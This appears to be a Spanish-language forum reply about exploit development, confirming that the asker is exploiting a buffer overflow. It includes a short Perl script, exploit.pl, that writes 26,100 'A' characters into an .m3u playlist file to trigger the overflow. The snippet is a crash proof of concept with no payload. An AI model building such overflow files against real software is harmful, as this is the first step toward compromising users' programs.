Hola, A ver empezemos por esto ...
Sabes perfectamente que lo que estas intentando explotar es un buffer overflow ¿no?

Si no me equivoco el desbordamiento lo generas con un codigo parecido a esto ¿no?

exploit.pl
---

open(ARCHIVO,">> exploit.m3u");
$buffer = "A"x26100;
print ARCHIVO $buffer;
close(ARCHIVO);

Un Saludo